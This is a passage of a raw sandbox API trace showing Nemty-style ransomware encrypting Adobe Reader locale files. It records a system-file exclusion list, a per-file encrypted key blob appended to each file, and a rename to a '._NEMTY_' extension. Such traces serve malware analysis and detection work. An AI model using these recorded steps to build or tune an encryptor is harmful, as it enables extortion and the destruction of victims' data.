lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0180.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NLD", lpUsedDefaultChar=0x0) returned 18 [0180.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NLD", lpUsedDefaultChar=0x0) returned 18 [0180.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.511] Sleep (dwMilliseconds=0x5) [0180.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f3eec30, dwHighDateTime=0x1d561e8)) [0180.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f3eec30, dwHighDateTime=0x1d561e8)) [0180.521] GetLastError () returned 0x0 [0180.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.521] GetLastError () returned 0x0 [0180.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.521] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.521] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="BRlnHMAPx/PbvqgKne1ybbCQUFJXupBGoFkeUOUmdFqs0JSn4lRRiNq4k0JPiq9V\r\nQlls2vgZpsH/u61rerpSwk6j8+nxNPOgXzdhAcEICoTjDPV4h3jknKCkHGogjffS\r\np50eOcAUFTMFuZR/s1256y9JJ8+KoC87W89PUggP+K206nL7yjLVoGD44JT0Rx9c\r\nG8pgyy/P/l94mpoxPjv+85XwqnczxJ6WnJu/kB1PIZvd5OcN/ihNshIzAXEWak8F\r\nhZ4v3Blt1bwE/RN3WRaXHvUwXsQfK8zlcPgjrXjyoI1TyhdClwn0nK6X+cBqxeaM\r\nvERVPY6RRoDIL0UGQ5IjOw==\r\n", pcchString=0x653e5dc) returned 1 [0180.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.522] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\makeaccessible.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\makeaccessible.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.522] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=79360) returned 1 [0180.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13600) returned 0x6352c48 [0180.522] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.522] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13600, lpOverlapped=0x0) returned 1 [0180.529] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.529] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13600, lpOverlapped=0x0) returned 1 [0180.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.529] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=79360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13600 [0180.530] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.530] CloseHandle (hObject=0x2e8) returned 1 [0180.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0180.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0180.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.530] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\makeaccessible.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\makeaccessible.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\makeaccessible.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\makeaccessible.nld._nemty_kgobjgd_")) returned 1 [0180.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.531] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.NLD", cAlternateFileName="MULTIM~1.NLD")) returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2=".") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="..") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="...") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="windows") returned -1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="rsa") returned -1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="NTDETECT.COM") returned -1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="ntldr") returned -1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="MSDOS.SYS") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="IO.SYS") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="boot.ini") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="boot.ini") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="ntuser.dat") returned -1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="desktop.ini") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="CONFIG.SYS") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="RECYCLER") returned -1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="bootmgr") returned 1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="programdata") returned -1 [0180.531] lstrcmpiW (lpString1="Multimedia.NLD", lpString2="appdata") returned 1 [0180.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NLD", lpUsedDefaultChar=0x0) returned 14 [0180.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NLD", lpUsedDefaultChar=0x0) returned 14 [0180.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NLD", lpUsedDefaultChar=0x0) returned 14 [0180.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NLD", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NLD", lpUsedDefaultChar=0x0) returned 14 [0180.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.532] Sleep (dwMilliseconds=0x5) [0180.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f414d90, dwHighDateTime=0x1d561e8)) [0180.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f414d90, dwHighDateTime=0x1d561e8)) [0180.537] GetLastError () returned 0x0 [0180.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.537] GetLastError () returned 0x0 [0180.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.537] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.538] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.538] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="bLOgWReUxDDIMzPAhc3xfKhnIcHP1sb/De53bAT3kGC+g0vF8YgWEsJzuBSQzwCX\r\nlPvhZXK45XCcgkbx36a3w799OlcZPkHAmSznlq6ilqiMqVEeQSE+HquLh7ktw0RX\r\n+/iEQ4rCVcyHvBVD6KOmeVNxGNUJSJi75l94m9psxPtsw0fgDuQJNurgMfjk/CER\r\nOqb8Eixl15ZHY+gaJagDKGiCP1A/sXo5CDWlJbZcSL4696mt0TPDZHrnrMi+0ojd\r\nr0TMrAhyHYFw/MpHKjdBGh4CS0mDT9Q6OKhj14rGu/BX5jjN6i7ZdoEb/qdVm0Tq\r\npR/FjUR/6kXU3vbj80ozcQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Multimedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\multimedia.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.538] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=81408) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13e00) returned 0x6352c48 [0180.538] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.538] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13e00, lpOverlapped=0x0) returned 1 [0180.545] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.545] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13e00, lpOverlapped=0x0) returned 1 [0180.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.546] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=81408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13e00 [0180.546] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.546] CloseHandle (hObject=0x2e8) returned 1 [0180.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.546] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Multimedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\multimedia.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Multimedia.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\multimedia.nld._nemty_kgobjgd_")) returned 1 [0180.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.547] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.NLD", cAlternateFileName="")) returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2=".") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="..") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="...") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="windows") returned -1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="rsa") returned -1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="NTDETECT.COM") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="ntldr") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="MSDOS.SYS") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="IO.SYS") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="boot.ini") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="boot.ini") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="ntuser.dat") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="desktop.ini") returned 1 [0180.547] lstrcmpiW (lpString1="pddom.NLD", lpString2="CONFIG.SYS") returned 1 [0180.548] lstrcmpiW (lpString1="pddom.NLD", lpString2="RECYCLER") returned -1 [0180.548] lstrcmpiW (lpString1="pddom.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.548] lstrcmpiW 